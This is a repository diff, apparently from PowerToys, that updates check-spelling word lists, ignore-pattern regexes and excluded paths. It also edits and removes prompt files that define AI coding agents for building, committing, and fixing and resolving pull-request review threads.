# PowerRename metadata pattern abbreviations (used in tests and regex patterns)
DDDD
@@ -342,3 +389,17 @@ reportbug
#ffmpeg
crf
nostdin
# Performance counter keys
engtype
Nonpaged
# XAML
Untargeted
# Program names
SEARCHHOST
SHELLEXPERIENCEHOST
SHELLHOST
STARTMENUEXPERIENCEHOST
WIDGETBOARD

View File

@@ -178,7 +178,9 @@ Taras
TBM
Teutsch
tilovell
traies
Triet
udit
urnotdfs
vednig
waaverecords
@@ -192,6 +194,7 @@ ycv
yeelam
Yuniardi
yuyoyuppe
zadjii
Zeol
Zhao
Zhaopeng
@@ -206,6 +209,7 @@ Bilibili
BVID
capturevideosample
cmdow
Contoso
Controlz
cortana
devhints
@@ -221,6 +225,7 @@ Moq
mozilla
mspaint
Newtonsoft
NVIDIA
onenote
openai
Quickime
@@ -228,6 +233,7 @@ regedit
roslyn
Skia
Spotify
taskmgr
tldr
Vanara
wangyi
@@ -243,4 +249,3 @@ xamlstyler
Xavalon
Xbox
Youdao
zadjii

View File

@@ -1,9 +1,23 @@
accelscroll
acq
adr
Adr
APPLYTOSUBMENUS
AUDCLNT
axisdefer
axisflip
axisstart
bitmaps
BREAKSCR
BUFFERFLAGS
Cands
capturepath
centiseconds
CLASSW
coeffs
coprime
CREATEDIBSECTION
crossfades
Ctl
CTLCOLOR
CTLCOLORBTN
@@ -11,53 +25,163 @@ CTLCOLORDLG
CTLCOLOREDIT
CTLCOLORLISTBOX
CTrim
ddy
DFCS
dlg
dlu
DONTCARE
downsample
DRAWITEM
DRAWITEMSTRUCT
droppedband
Droppedband
dsum
dupburst
dupsegments
DWLP
EDITCONTROL
ENABLEHOOK
expectedlock
fastscroll
FDE
GETCHANNELRECT
GETCHECK
GETSCREENSAVEACTIVE
GETSCREENSAVETIMEOUT
GETTHUMBRECT
GIFs
hcfdark
hcfwhitespace
HTBOTTOMRIGHT
HTHEME
htol
ICONINFORMATION
ICONWARNING
Inj
jumprecover
KSDATAFORMAT
latestcapture
ldx
LEFTNOWORDWRAP
legitjumps
letterbox
lld
llu
llums
logfont
lookback
lround
lte
luma
Luma
manualdrop
maskcache
maxstep
MENUINFO
mic
middledrop
middledrop
MMRESULT
momentumreversal
mrate
mrt
narrowstrip
ncapture
ncm
nduplicates
niterations
nmonitor
NONCLIENTMETRICS
nonvle
nredraw
nstop
nsubpixel
ntorn
nvw
osc
OWNERDRAW
PBGRA
periodictrap
pfdc
playhead
pointerreuse
pwfx
Qpc
quantums
RCZOOMITSCR
realcapture
REFKNOWNFOLDERID
reposted
SCREENSAVE
SCRNSAVE
SCRNSAVECONFIGURE
scrnsavw
Scrnsavw
scrollramp
SCROLLSIZEGRIP
selftest
SETBARCOLOR
SETBKCOLOR
SETDEFID
SETRECT
SETSCREENSAVETIMEOUT
SHAREMODE
SHAREVIOLATION
shortlist
slowthenfast
smallstart
SNIPOCR
ssi
startuprecovery
stf
stopafter
STREAMFLAGS
submix
sxx
sxy
syy
tallportal
tci
tcsicmp
TEXTMETRIC
tinystep
tme
toolbars
TRACKMOUSEEVENT
Unadvise
vaddq
vaddvq
vandq
vcgeq
vdup
vld
vle
Vle
VLE
vminq
vmlal
vmull
vqaddq
vshrn
vsntprintf
vsnwprintf
vsync
WASAPI
WAVEFORMATEX
WAVEFORMATEXTENSIBLE
wfopen
wideportal
wil
WMU
wrapjump
wtol
WTSSESSION
WTSUn
XEnd
XStart
XStep
YInternal
ZMBS
zncc
Zncc
ZNCC

View File

@@ -1,6 +1,3 @@
# D2D
#D?2D
# Repeated letters
\b([a-z])\g{-1}{2,}\b
@@ -14,7 +11,7 @@
^.*\b[Cc][Ss][Pp][Ee][Ll]{2}:\s*[Dd][Ii][Ss][Aa][Bb][Ll][Ee]-[Ll][Ii][Nn][Ee]\b
# copyright
Copyright (?:\([Cc]\)|)(?:[-\d, ]|and)+(?: [A-Z][a-z]+ [A-Z][a-z]+,?)+
Copyright (?:\([Cc]\)|©|)(?:[-\d, ]|and)+(?: [A-Z][a-z]+ [A-Z][a-z]+,?)+
# patch hunk comments
^@@ -\d+(?:,\d+|) \+\d+(?:,\d+|) @@ .*
@@ -22,10 +19,10 @@ Copyright (?:\([Cc]\)|)(?:[-\d, ]|and)+(?: [A-Z][a-z]+ [A-Z][a-z]+,?)+
index (?:[0-9a-z]{7,40},|)[0-9a-z]{7,40}\.\.[0-9a-z]{7,40}
# file permissions
['"`\s][-bcdLlpsw](?:[-r][-w][-Ssx]){2}[-r][-w][-SsTtx]\+?['"`\s]
(?:^|['"`\s])(?!-+\s)[-bcdLlpsw](?:[-r][-w][-Ssx]){2}[-r][-w][-SsTtx]\+?['"`\s]
# css fonts
\bfont(?:-family|):[^;}]+
\bfont(?:-family(?:[-\w+]*)|):[^;}]+
# css url wrappings
\burl\([^)]+\)
@@ -90,6 +87,9 @@ arn:aws:[-/:\w]+
# AWS VPC
vpc-\w+
# Azure AD
\baad\.\w{48}\b
# While you could try to match `http://` and `https://` by using `s?` in `https?://`, sometimes there
# YouTube url
\b(?:(?:www\.|)youtube\.com|youtu.be)/(?:channel/|embed/|user/|playlist\?list=|watch\?v=|v/|)[-a-zA-Z0-9?&=_%]*
@@ -171,7 +171,7 @@ themes\.googleusercontent\.com/static/fonts/[^/\s"]+/v\d+/[^.]+.
GHSA(?:-[0-9a-z]{4}){3}
# GitHub actions
\buses:\s+[-\w.]+/[-\w./]+@[-\w.]+
\buses:\s+(['"]?)[-\w.]+/[-\w./]+@[-\w.]+\g{-1}
# GitLab commit
\bgitlab\.[^/\s"]*/\S+/\S+/commit/[0-9a-f]{7,16}#[0-9a-f]{40}\b
@@ -240,7 +240,7 @@ accounts\.binance\.com/[a-z/]*oauth/authorize\?[-0-9a-zA-Z&%]*
\bmedium\.com/@?[^/\s"]+/[-\w]+
# microsoft
\b(?:https?://|)(?:(?:(?:blogs|download\.visualstudio|docs|msdn2?|research)\.|)microsoft|blogs\.msdn)\.co(?:m|\.\w\w)/[-_a-zA-Z0-9()=./%]*
\b(?:https?://|)(?:(?:(?:blogs|download\.visualstudio|docs|msdn2?|research)\.|)microsoft|blogs\.msdn)\.co(?:m|\.\w\w)/[-_a-zA-Z0-9()=./%?#]*
# powerbi
\bapp\.powerbi\.com/reportEmbed/[^"' ]*
# vs devops
@@ -414,7 +414,7 @@ ipfs://[0-9a-zA-Z]{3,}
\bgetopts\s+(?:"[^"]+"|'[^']+')
# ANSI color codes
(?:\\(?:u00|x)1[Bb]|\\03[1-7]|\x1b|\\u\{1[Bb]\})\[\d+(?:;\d+)*m
(?:\\(?:u00|x)1[Bb]|\\03[1-7]|\x1b|\\u\{1[Bb]\})\[(?:\d+(?:;\d+)*|)m
# URL escaped characters
%[0-9A-F][A-F](?=[A-Za-z])
@@ -431,7 +431,7 @@ sha\d+:[0-9a-f]*?[a-f]{3,}[0-9a-f]*
# sha-... -- uses a fancy capture
(\\?['"]|&quot;)[0-9a-f]{40,}\g{-1}
# hex runs
\b[0-9a-fA-F]{16,}\b
\b(?=(?:[a-fA-F]{0,2}\d)*[a-fA-F]{3})[0-9a-fA-F]{16,}\b
# hex in url queries
=[0-9a-fA-F]*?(?:[A-F]{3,}|[a-f]{3,})[0-9a-fA-F]*?&
# ssh
@@ -455,7 +455,11 @@ LS0tLS1CRUdJT.*
# uuid:
\b[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}\b
# hex digits including css/html color classes:
# unicode escaped characters (4)
\\u[0-9a-fA-F]{4}
# hex digits including css/html color classes
(?:[\\0][xX]|\\u\{?|[uU]\+|#x?|%23|&H)[0-9_a-fA-FgGrR]*?[a-fA-FgGrR]{2,}[0-9_a-fA-FgGrR]*(?:[uUlL]{0,3}|[iu]\d+)\b
# integrity
@@ -478,7 +482,7 @@ Name\[[^\]]+\]=.*
(?:(?:\b|_|(?<=[a-z]))I|(?:\b|_)(?:nsI|isA))(?=(?:[A-Z][a-z]{2,})+(?:[A-Z\d]|\b))
# python
#\b(?i)py(?!gments|gmy|lon|ramid|ro|th)(?=[a-z]{2,})
#\b(?i)py(?!gment|gmy|lon|ramid|ro|th)(?=[a-z]{2,})
# crypt
(['"])\$2[ayb]\$.{56}\g{-1}
@@ -498,12 +502,21 @@ Name\[[^\]]+\]=.*
# go.sum
\bh1:\S+
# golang print-f-style functions
#(?i)(?<=append|comma|debug|equal|err|error|exit|fatal|format|info|log|name|panic|print|skip|scan|string|trace|true|warn|warning|wrap|write)(?:f|ln)(?:[ (]|$)
# golang regular expression
(?<!")\br".+?"
# imports
^import\s+(?:(?:static|type)\s+|)(?:[\w.]|\{\s*\w*?(?:,\s*(?:\w*|\*))+\s*\})+
^import\s+(?:(?:static|type)\s+|)(?:[\w.]|\{\s*\w*?(?:,\s*(?:\w*|\*))+\s*\})+(?:\s+from (['"]).*?\g{-1}|)
# scala modules
#("[^"]+"\s*%%?\s*){2,3}"[^"]+"
# Dataframes / NumPy
#\b(?:df|np)\.\w{3,}
# container images
image: [-\w./:@]+
@@ -533,12 +546,18 @@ content: (['"])[-a-zA-Z=;:/0-9+]*=\g{-1}
# Note that there's a high false positive rate, remove the `?=` and search for the regex to see if the matches seem like reasonable strings
(?<!['"])\b(?:B|BR|Br|F|FR|Fr|R|RB|RF|Rb|Rf|U|UR|Ur|b|bR|br|f|fR|fr|r|rB|rF|rb|rf|u|uR|ur)['"](?=[A-Z]{3,}|[A-Z][a-z]{2,}|[a-z]{3,})
# Regular expression for word breaks
#\\b(?=[a-z]{2})
# Regular expressions for (P|p)assword
\([A-Z]\|[a-z]\)[a-z]+
# Java regular expressions
Pattern\.(?:compile|matches)\(".*"
# JavaScript regular expressions
# javascript test regex
/.{3,}/[gim]*\.test\(
# javascript exec/test regex
/.{3,}?/[gim]*\.(?:exec|test)\(
# javascript match regex
\.match\(/[^/\s"]{3,}/[gim]*\s*
# javascript match regex
@@ -565,7 +584,7 @@ perl(?:\s+-[a-zA-Z]\w*)+
regexp?\.MustCompile\((?:`[^`]*`|".*"|'.*')\)
# regex choice
# \(\?:[^)]+\|[^)]+\)
#\((?:\?:|)[^)|]+(?<! )\|(?!(?:jq|xargs)\b)[^)| ][^)]*\)
# proto
^\s*(\w+)\s\g{-1} =
@@ -588,6 +607,9 @@ urn:shemas-jetbrains-com
# Debian changelog severity
[-\w]+ \(.*\) (?:\w+|baseline|unstable|experimental); urgency=(?:low|medium|high|emergency|critical)\b
# Red Hat Package management spec file dependencies
^(?:Build|)Requires: [-.\w]+
# kubernetes pod status lists
# https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#pod-phase
\w+(?:-\w+)+\s+\d+/\d+\s+(?:Running|Pending|Succeeded|Failed|Unknown)\s+
@@ -642,6 +664,8 @@ PrependWithABINamepsace
>[-a-zA-Z=;:/0-9+]{3,}=</
# base64 encoded content, possibly wrapped in mime
#(?:^|[\s=;:?])[-a-zA-Z=;:/0-9+]{50,}(?:[\s=;:?]|$)
# jwt
(?:\be[wy][-a-zA-Z=;:/0-9+]+\.){2}[-_\w]+
# base64 encoded json
\beyJ[-a-zA-Z=;:/0-9+]+
# base64 encoded pkcs
@@ -679,9 +703,9 @@ systemd.*?running in system mode \([-+].*\)$
# Non-English
# Even repositories expecting pure English content can unintentionally have Non-English content... People will occasionally mistakenly enter [homoglyphs](https://en.wikipedia.org/wiki/Homoglyph) which are essentially typos, and using this pattern will mean check-spelling will not complain about them.
#
# .
# If the content to be checked should be written in English and the only Non-English items will be people's names, then you can consider adding this.
#
# .
# Alternatively, if you're using check-spelling v0.0.25+, and you would like to _check_ the Non-English content for spelling errors, you can. For information on how to do so, see:
# https://docs.check-spelling.dev/Feature:-Configurable-word-characters.html#unicode
[a-zA-Z]*[ÀÁÂÃÄÅÆČÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæčçèéêëìíîïðñòóôõöøùúûüýÿĀāŁłŃńŅņŒœŚśŠšŜŝŸŽžź][a-zA-Z]{3}[a-zA-ZÀÁÂÃÄÅÆČÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæčçèéêëìíîïðñòóôõöøùúûüýÿĀāŁłŃńŅņŒœŚśŠšŜŝŸŽžź]*|[a-zA-Z]{3,}[ÀÁÂÃÄÅÆČÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæčçèéêëìíîïðñòóôõöøùúûüýÿĀāŁłŃńŅņŒœŚśŠšŜŝŸŽžź]|[ÀÁÂÃÄÅÆČÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæčçèéêëìíîïðñòóôõöøùúûüýÿĀāŁłŃńŅņŒœŚśŠšŜŝŸŽžź][a-zA-Z]{3,}
@@ -693,7 +717,7 @@ systemd.*?running in system mode \([-+].*\)$
# This corpus only had capital letters, but you probably want lowercase ones as well.
\b[LN]'+[a-z]{2,}\b
# latex (check-spelling >= 0.0.22)
# LaTeX
\\\w{2,}\{
# American Mathematical Society (AMS) / Doxygen
@@ -720,7 +744,6 @@ nolint:\s*[\w,]+
# cygwin paths
/cygdrive/[a-zA-Z]/(?:Program Files(?: \(.*?\)| ?)(?:/[-+.~\\/()\w ]+)*|[-+.~\\/()\w])+
# in check-spelling@v0.0.22+, printf markers aren't automatically consumed
# printf markers
#(?<!\\)\\[nrt](?=[a-z]{2,})
# alternate printf markers if you run into latex and friends
@@ -749,12 +772,12 @@ W/"[^"]+"
# Compiler flags (Unix, Java/Scala)
# Use if you have things like `-Pdocker` and want to treat them as `docker`
#(?:^|[\t ,>"'`=(#])-(?:(?:J-|)[DPWXY]|[Llf])(?=[A-Z]{2,}|[A-Z][a-z]|[a-z]{2,})
#(?:^|[\t ,>"'`=\[(#])-(?:(?:J-|)[DPWXY]|[Llf])(?=[A-Z]{2,}|[A-Z][a-z]|[a-z]{2,})
# Compiler flags (Windows / PowerShell)
# This is a subset of the more general compiler flags pattern.
# It avoids matching `-Path` to prevent it from being treated as `ath`
#(?:^|[\t ,"'`=(#])-(?:[DPL](?=[A-Z]{2,})|[WXYlf](?=[A-Z]{2,}|[A-Z][a-z]|[a-z]{2,}))
#(?:^|[\t ,"'`=\[(#])-(?:[DPL](?=[A-Z]{2,})|[WXYlf](?=[A-Z]{2,}|[A-Z][a-z]|[a-z]{2,}))
# Compiler flags (linker)
,-B
@@ -762,7 +785,7 @@ W/"[^"]+"
# Library prefix
# e.g., `lib`+`archive`, `lib`+`raw`, `lib`+`unwind`
# (ignores some words that happen to start with `lib`)
(?:\b|_)[Ll]ib(?:re(?=office)|)(?!era[lt]|ero|erty|rar(?:i(?:an|es)|y))(?=[a-z])
(?:\b|_)[Ll]ib(?!era[lt])(?:re(?=office)|era|)(?!ero|erty|rar(?:i(?:an|es)|y))(?=[a-z])
# iSCSI iqn (approximate regex)
\biqn\.[0-9]{4}-[0-9]{2}(?:[\.-][a-z][a-z0-9]*)*\b
@@ -773,9 +796,9 @@ W/"[^"]+"
# curl arguments
\b(?:\\n|)curl(?:\.exe|)(?:\s+-[a-zA-Z]{1,2}\b)*(?:\s+-[a-zA-Z]{3,})(?:\s+-[a-zA-Z]+)*
# set arguments
\b(?:bash|sh|set)(?:\s+[-+][abefimouxE]{1,2})*\s+[-+][abefimouxE]{3,}(?:\s+[-+][abefimouxE]+)*
\b(?:bash|(?<!\.)sh|set)(?:\s+[-+][abefimouxE]{1,2})*\s+[-+][abefimouxE]{3,}(?:\s+[-+][abefimouxE]+)*
# tar arguments
\b(?:\\n|)g?tar(?:\.exe|)(?:(?:\s+--[-a-zA-Z]+|\s+-[a-zA-Z]+|\s[ABGJMOPRSUWZacdfh-pr-xz]+\b)(?:=[^ ]*|))+
\b(?:\\n|)g?tar(?:\.exe|)(?:\s-C \S+|(?:\s+--[-a-zA-Z]+|\s+-[a-zA-Z]+|\s[ABGJMOPRSUWZacdfh-pr-xz]+\b)(?:=[^ ]*|))+
# tput arguments -- https://man7.org/linux/man-pages/man5/terminfo.5.html -- technically they can be more than 5 chars long...
\btput\s+(?:(?:-[SV]|-T\s*\w+)\s+)*\w{3,5}\b
# macOS temp folders

View File

@@ -107,10 +107,11 @@
^src/common/sysinternals/Eula/
^src/modules/cmdpal/Tests/Microsoft\.CommandPalette\.Extensions\.Toolkit\.UnitTests/FuzzyMatcherComparisonTests.cs$
^src/modules/cmdpal/Tests/Microsoft\.CommandPalette\.Extensions\.Toolkit\.UnitTests/FuzzyMatcherDiacriticsTests.cs$
^src/modules/cmdpal/doc/initial-sdk-spec/list-elements-mock-002\.pdn$
^doc/devdocs/modules/cmdpal/initial-sdk-spec/list-elements-mock-002\.pdn$
^src/modules/cmdpal/ext/SamplePagesExtension/Pages/SampleMarkdownImagesPage\.cs$
^src/modules/cmdpal/Microsoft\.CmdPal\.UI/Settings/InternalPage\.SampleData\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Core\.Common\.UnitTests/.*\.TestData\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Common\.UnitTests/.*\.TestData\.cs$
^src/modules/cmdpal/Tests/Microsoft\.CmdPal\.Common\.UnitTests/Text/.*\.cs$
^src/modules/colorPicker/ColorPickerUI/Shaders/GridShader\.cso$
^src/modules/launcher/Plugins/Microsoft\.PowerToys\.Run\.Plugin\.TimeDate/Properties/
^src/modules/MouseUtils/MouseJumpUI/MainForm\.resx$
@@ -139,6 +140,6 @@
^tools/project_template/ModuleTemplate/resource\.h$
^tools/Verification scripts/Check preview handler registration\.ps1$
ignore$
^src/modules/registrypreview/RegistryPreviewUILib/Controls/HexBox/.*$
^src/common/CalculatorEngineCommon/exprtk\.hpp$
src/modules/cmdpal/ext/SamplePagesExtension/Pages/SampleMarkdownImagesPage.cs
^src/modules/powerrename/unittests/testdata/avif_test\.avif$
^src/modules/powerrename/unittests/testdata/heif_test\.heic$

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

View File

@@ -1,5 +1,18 @@
# See https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-patterns
Inno Setup
FFmpeg
# https://github.com/MicrosoftEdge/edge-launcher
MIcrosoftEdgeLauncherCsharp
# x64
(?:(?<=[a-df-z])x|(?<=[A-Z]X))64
# reversed irreversible binomials
\b(?:mouse down and up|low and high)\b
# marker to ignore all code on line
^.*/\* #no-spell-check-line \*/.*$
# marker for ignoring a comment to the end of the line
@@ -71,11 +84,14 @@ StringComparer.OrdinalIgnoreCase\) \{.*\}
# the last line of mimetype="application/x-microsoft.net.object.bytearray.base64" things in .resx files
^\s*[-a-zA-Z=;:/0-9+]*[-a-zA-Z;:/0-9+][-a-zA-Z=;:/0-9+]*=$
# DateTime Formats
Get-Date -Format \w+|DateTime\.Now(?::|\.ToString\(")\w+
# Automatically suggested patterns
# hit-count: 5402 file-count: 1339
# IServiceProvider / isAThing
(?:(?:\b|_|(?<=[a-z]))[IT]|(?:\b|_)(?:nsI|isA))(?=(?:[A-Z][a-z]{2,})+(?:[A-Z\d]|\b))
(?:(?:\b|_|(?<=[a-z]))[A-Z]|(?:\b|_)(?:nsI|isA))(?=(?:[A-Z][a-z]{2,})+(?:[A-Z\d]|\b))
# hit-count: 2073 file-count: 842
# #includes
@@ -159,6 +175,10 @@ aka\.ms/[a-zA-Z0-9]+
# kubernetes crd patterns
^\s*pattern: .*$
# hit-count: 7 file-count: 3
# unicode escaped characters (4)
\\u[0-9a-fA-F]{4}
# hit-count: 5 file-count: 3
# URL escaped characters
%[0-9A-F][A-F](?=[A-Za-z])
@@ -171,6 +191,10 @@ aka\.ms/[a-zA-Z0-9]+
# medium
\bmedium\.com/@?[^/\s"]+/[-\w:/*.]+
# hit-count: 2 file-count: 2
# tar arguments
\b(?:\\n|)g?tar(?:\.exe|)(?:\s-C \S+|(?:\s+--[-a-zA-Z]+|\s+-[a-zA-Z]+|\s[ABGJMOPRSUWZacdfh-pr-xz]+\b)(?:=[^ ]*|))+
# hit-count: 2 file-count: 1
# While you could try to match `http://` and `https://` by using `s?` in `https?://`, sometimes there
# YouTube url
@@ -184,22 +208,9 @@ aka\.ms/[a-zA-Z0-9]+
# curl arguments
\b(?:\\n|)curl(?:\.exe|)(?:\s+-[a-zA-Z]{1,2}\b)*(?:\s+-[a-zA-Z]{3,})(?:\s+-[a-zA-Z]+)*
# hit-count: 1 file-count: 1
# tar arguments
\b(?:\\n|)g?tar(?:\.exe|)(?:(?:\s+--[-a-zA-Z]+|\s+-[a-zA-Z]+|\s[ABGJMOPRSUWZacdfh-pr-xz]+\b)(?:=[^ ]*|))+
# #pragma lib
^\s*#pragma comment\(lib, ".*?"\)
# UnitTests
\[DataRow\(.*\)\]
# AdditionalDependencies
<AdditionalDependencies>.*<
# the last line of mimetype="application/x-microsoft.net.object.bytearray.base64" things in .resx files
^\s*[-a-zA-Z=;:/0-9+]*[-a-zA-Z;:/0-9+][-a-zA-Z=;:/0-9+]*=$
RegExp\(@?([`'"]).*?\g{-1}\)|(?:escapes|regEx):\s*(?:/.*/|([`'"]).*?\g{-1})|return/.*?/
# Questionably acceptable forms of `in to`
@@ -219,13 +230,15 @@ RegExp\(@?([`'"]).*?\g{-1}\)|(?:escapes|regEx):\s*(?:/.*/|([`'"]).*?\g{-1})|retu
# mount
\bmount\s+-t\s+(\w+)\s+\g{-1}\b
# C types and repeated CSS values
\s(auto|buffalo|center|div|inherit|long|LONG|none|normal|solid|thin|transparent|very)(?:\s\g{-1})+\s
\s(auto|await|buffalo|center|div|inherit|long|LONG|none|normal|solid|thin|transparent|very)(?:\s\g{-1})+\s
# C enum and struct
\b(?:enum|struct)\s+(\w+)\s+\g{-1}\b
# go templates
\s(\w+)\s+\g{-1}\s+\`(?:graphql|inject|json|yaml):
# doxygen / javadoc / .net
(?:[\\@](?:brief|defgroup|groupname|link|t?param|return|retval)|(?:public|private|\[Parameter(?:\(.+\)|)\])(?:\s+(?:static|override|readonly|required|virtual))*)(?:\s+\{\w+\}|)\s+(\w+)\s+\g{-1}\s
# C# getter/setter
\s(\w+)\s+\g{-1}\s*\{\s*[gs]et;
# macOS file path
(?:Contents\W+|(?!iOS)/)MacOS\b
@@ -289,3 +302,6 @@ St&yle
# Microsoft Store URLs and product IDs
ms-windows-store://\S+
# ANSI color codes
(?:\\(?:u00|x)1[Bb]|\\03[1-7]|\x1b|\\u\{1[Bb]\})\[\d+(?:;\d+)*m

View File

@@ -1,23 +1,30 @@
^attache$
^bellows?$
attache
aroynt.*
bellows?
benefitting
occurences?
^dependan.*
^develope$
^developement$
^developpe
^Devers?$
^devex
^devide
^Devinn?[ae]
^devisal
^devisor
^diables?$
^oer$
.*dnt
dependan.*
developement
developp?e
Devers?
devex.*
devide
Devinn?[ae]
devisals?
devisors?
diables?
hasta?
hastat.*
immediatly
inisle
inital
linge
oer
Sorce
^[Ss]pae.*
^Teh$
^untill$
^untilling$
^venders?$
^wether.*
[Ss]pae.*
Teh
untill
untilling
venders?
wether.*

View File

@@ -13,7 +13,7 @@ You are an **IMPLEMENTATION AGENT** specialized in executing implementation plan
## Identity & Expertise
- Expert at translating plans into working code
- Deep knowledge of the repository's codebase patterns and conventions
- Deep knowledge of PowerToys codebase patterns and conventions
- Skilled at writing tests, handling edge cases, and validating builds
- You follow plans precisely while handling ambiguity gracefully
@@ -39,13 +39,11 @@ If the plan doesn't exist, invoke PlanIssue agent first via `runSubagent`.
## Strategy
> **Skills & prompts root**: Look for prompts and skills in `.github/` (GitHub Copilot) or `.claude/` (Claude). Check which exists in the current repo and use that path throughout.
**Core Loop** — For every unit of work:
1. **Edit**: Make focused changes to implement one logical piece
2. **Build**: Run `tools\build\build.cmd` and check for exit code 0
3. **Verify**: Use `problems` tool for lint/compile errors; run relevant tests
4. **Commit**: Only after build passes — use `{prompts_root}/create-commit-title.prompt.md`
4. **Commit**: Only after build passes — use `.github/prompts/create-commit-title.prompt.md`
Never skip steps. Never commit broken code. Never proceed if build fails.
@@ -69,7 +67,7 @@ Never skip steps. Never commit broken code. Never proceed if build fails.
**DO**:
- Follow the plan exactly
- Validate build before every commit — **NEVER commit broken code**
- Use `{prompts_root}/create-commit-title.prompt.md` for commit messages
- Use `.github/prompts/create-commit-title.prompt.md` for commit messages
- Add comprehensive tests for changed behavior
- Use worktrees for large changes (3+ files or cross-module)
- Document deviations from plan

View File

@@ -1,95 +0,0 @@
---
description: 'Fix active PR review comments and resolve GitHub review threads'
name: 'FixPR'
tools: ['execute', 'read', 'edit', 'search', 'github/*', 'github.vscode-pull-request-github/*', 'todo']
argument-hint: 'PR number(s) to fix (e.g., 45286 or 45286,45287)'
handoffs:
- label: Re-review After Fixes
agent: ReviewPR
prompt: 'Re-review PR #{{pr_number}} after fixes were applied'
infer: true
---
# FixPR Agent
You are a **PR FIX AGENT** that reads review threads on a pull request, applies the requested changes, and resolves the threads.
## Identity & Expertise
- Expert at interpreting review feedback and implementing targeted fixes
- Skilled at resolving GitHub review threads via GraphQL API
- Understands the two-tool-chain architecture: CLI scripts for code fixes + VS Code MCP for thread resolution
- You fix review comments precisely without scope creep
## Goal
Given a **pr_number**, bring all actionable review threads to resolution:
1. Every actionable review comment has its requested change implemented
2. Every resolved comment thread is marked resolved via GitHub's GraphQL API
3. The PR is ready for re-review
## Capabilities
> **Skills root**: Skills live at `.github/skills/` (GitHub Copilot) or `.claude/skills/` (Claude). Check which exists in the current repo and use that path throughout.
### Issue Review Context
When a PR is linked to an issue, check for prior analysis before applying fixes:
- `Generated Files/issueReview/<issue_number>/overview.md` — feasibility scores, risk assessment
- `Generated Files/issueReview/<issue_number>/implementation-plan.md` — planned approach
Use the PR description or `github/*` to find the linked issue number. If issue review outputs exist, use the implementation plan to understand the intended design — this helps you apply fixes that stay aligned with the original plan rather than diverging.
### MCP & Tools
- **GitHub MCP** (`github/*`) — fetch PR data, review threads, file contents, post comments
- **VS Code PR Extension** (`github.vscode-pull-request-github/*`) — **resolve review threads** via GraphQL. This is the only way to mark threads resolved.
- **Edit** — apply code changes to source files
- **Search** — find context, patterns, and related code in the codebase
- **Execute** — run fix scripts, poll progress
### Thread Resolution Architecture
There are **two separate tool chains** for PR operations:
| Tool Chain | What It Does | MCP Prefix |
|-----------|-------------|------------|
| GitHub CLI | Fetch PR data, diffs, comments, apply fixes | `github/*` |
| VS Code PR Extension | Resolve threads, request reviewers | `github.vscode-pull-request-github/*` |
Thread resolution **only** works through the VS Code PR Extension (`resolveReviewThread`) or directly via `gh api graphql` with the `resolveReviewThread` mutation.
### Skill Reference
Read `{skills_root}/pr-fix/SKILL.md` for full documentation. The fix prompt template is at `{skills_root}/pr-fix/references/fix-pr-comments.prompt.md`.
## Self-Review
After applying fixes:
1. **Verify each change** — re-read modified files to confirm the fix matches the review request
2. **Check for collateral damage** — did fixing one comment break adjacent logic?
3. **Count resolved vs total** — are there threads you skipped? If so, document why.
4. **Build validation** — if feasible, run a build to catch compile errors from your changes
## Continuous Improvement
When fixes are incomplete or incorrect:
- **Update the fix prompt** in `{skills_root}/pr-fix/references/` if the LLM consistently misinterprets a pattern
- **Record common misunderstandings** — if review comments use ambiguous phrasing that leads to wrong fixes, note patterns in the skill docs
- **Update SKILL.md** if script behavior or parameters changed
## Boundaries
- Never mark a thread resolved without implementing the requested change
- Never create new review comments — you fix, you don't review
- No drive-by refactors outside review scope
- If a review comment is ambiguous or requests an architectural change you're unsure about, **leave it unresolved** and report it
- Hand off to `ReviewPR` for re-review after fixes are complete
## Parameter
- **pr_number**: Extract from `#123`, `PR 123`, or plain number. If missing, **ASK** the user.

View File

@@ -1,99 +0,0 @@
---
description: 'End-to-end orchestrator: issue analysis → fix → PR creation → review → fix loop. Coordinates ReviewIssue, ReviewTheReview, FixIssue, ReviewPR, FixPR, and TriagePR agents.'
name: 'IssueToPR'
tools: ['execute', 'read', 'edit', 'search', 'web', 'agent', 'github/*', 'github.vscode-pull-request-github/*', 'todo']
argument-hint: 'Issue or PR numbers (e.g., issues 44044,32950 or PRs 45365,45366)'
infer: true
---
# IssueToPR Orchestrator Agent
You are the **ORCHESTRATION BRAIN** that coordinates the full issue-to-PR lifecycle by invoking specialized agents for each phase.
## Identity & Expertise
- Master orchestrator for the AI contributor pipeline
- Coordinates ReviewIssue → ReviewTheReview → FixIssue → ReviewPR → FixPR cycle
- Monitors signal files and manages quality gates between phases
- Performs VS Code MCP operations directly (resolve threads, request reviewers)
## Goal
Given **issue_numbers** or **pr_numbers**, drive the full lifecycle to completion:
- Issues → analyzed, quality-gated, fixed, PR created, reviewed, review comments addressed
- PRs → reviewed, review comments fixed, threads resolved
Every phase produces signal files. Track them to know when to proceed.
## Capabilities
> **Skills root**: Skills live at `.github/skills/` (GitHub Copilot) or `.claude/skills/` (Claude). Check which exists in the current repo and use that path throughout.
### Agents
| Agent | Purpose | Signal Location |
|-------|---------|----------------|
| `ReviewIssue` | Analyze issue, produce overview + implementation plan | `Generated Files/issueReview/<N>/.signal` |
| `ReviewTheReview` | Validate review quality (score ≥ 90 gate) | `Generated Files/issueReviewReview/<N>/.signal` |
| `FixIssue` | Create worktree, apply fix, build, create PR | `Generated Files/issueFix/<N>/.signal` |
| `ReviewPR` | 13-step comprehensive PR review | `Generated Files/prReview/<N>/.signal` |
| `FixPR` | Fix review comments, resolve threads | `Generated Files/prFix/<N>/.signal` |
| `TriagePR` | Categorize and prioritize PRs | On demand |
Invoke agents via `runSubagent` with a clear task description. Each agent is self-contained.
### MCP & Tools
- **Agent** (`agent`) — invoke sub-agents via `runSubagent`
- **GitHub MCP** (`github/*`) — fetch issue/PR data, create PRs, post comments
- **VS Code PR Extension** (`github.vscode-pull-request-github/*`) — resolve review threads, request reviewers (GraphQL)
